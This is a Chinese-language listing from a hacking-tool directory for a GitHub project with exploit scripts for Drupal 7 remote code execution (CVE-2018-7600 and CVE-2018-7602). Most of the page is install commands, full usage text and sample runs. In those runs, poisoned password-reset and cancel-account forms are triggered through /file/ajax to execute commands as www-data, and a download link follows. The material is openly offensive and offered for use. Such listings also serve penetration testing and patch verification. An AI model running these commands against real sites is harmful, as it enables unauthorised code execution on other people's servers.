Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-7600 — 针对 Drupal 7 <= 7.57 CVE-2018-7600 的漏洞利用 | Kitploit
工具/GitHubGitHub/pimps/cve-2018-7600
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubpimps/cve-2018-7600

CVE-2018-7600

针对 Drupal 7 <= 7.57 CVE-2018-7600 的漏洞利用

查看仓库
141628年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Drupal 7(CVE-2018-7600 / SA-CORE-2018-002)

使用以下命令安装所需库:

root@kitploit:~
pip install requests
pip install bs4
root@kitploit:~
$ python3 drupa7-CVE-2018-7600.py -h

=============================================================================
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |
|                              by pimps                                     |
=============================================================================

usage: drupa7-CVE-2018-7600.py [-h] [-c COMMAND] [-f FUNCTION] [-p PROXY]
                               target

positional arguments:
  target                            URL of target Drupal site (ex:
                                    http://target.com/)

optional arguments:
  -h, --help                        show this help message and exit
  -c COMMAND, --command COMMAND     Command to execute (default = id)
  -f FUNCTION, --function FUNCTION  Function to use as attack vector (default
                                    = passthru)
  -p PROXY, --proxy PROXY           Configure a proxy in the format
                                    http://127.0.0.1:8080/ (default = none)

This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
by poisoning the recover password form (user/password) and triggering it with
the upload file via ajax (/file/ajax).

root@kitploit:~

$ python3 drupa7-CVE-2018-7600.py http://target.local/

============================================================================= | DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) | | by pimps |

[] Poisoning a form and including it in cache. [] Poisoned form ID: form-xpkEuQSuJJJQ1y4Sfs8gs0zzsVdO_v_TpaJDBSehzJE [*] Triggering exploit to execute: id uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~

此脚本将利用 Drupal 7 <= 7.57 中的(CVE-2018-7600)漏洞,通过污染重置密码表单(user/password)并借助 ajax 上传文件(/file/ajax)来触发漏洞。

# Drupal 7(CVE-2018-7602 / SA-CORE-2018-004)

使用以下命令安装所需库:

pip install requests pip install bs4

root@kitploit:~

$ python3 drupa7-CVE-2018-7602.py -h

=================================================================================== | DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) | | by pimps |

usage: drupa7-CVE-2018-7602.py [-h] [-c COMMAND] [-f FUNCTION] [-x PROXY] user password target

positional arguments: user Username password Password target URL of target Drupal site (ex: http://target.com/)

optional arguments: -h, --help show this help message and exit -c COMMAND, --command COMMAND Command to execute (default = id) -f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru) -x PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)

This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58 using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).

root@kitploit:~


root@kitploit:~
$ python3 drupa7-CVE-2018-7602.py marcio2 teste123 http://127.0.0.1:9090/

===================================================================================
|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |
|                                   by pimps                                      |
===================================================================================

[*] Creating a session using the provided credential...
[*] Finding User ID...
[*] User ID found: user/4
[*] Poisoning a form using 'destination' and including it in cache.
[*] Poisoned form ID: form-hKyeyIYxk-e4qT1sdZ6nWHq0xuHcH2BMWk3vMWaSExU
[*] Triggering exploit to execute: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

此脚本将利用 Drupal 7 <= 7.58 中的(CVE-2018-7602)漏洞,使用有效账户,通过 'destination' 变量污染取消账户表单(user_cancel_confirm_form),并借助 ajax 上传文件(/file/ajax)来触发漏洞。

下载工具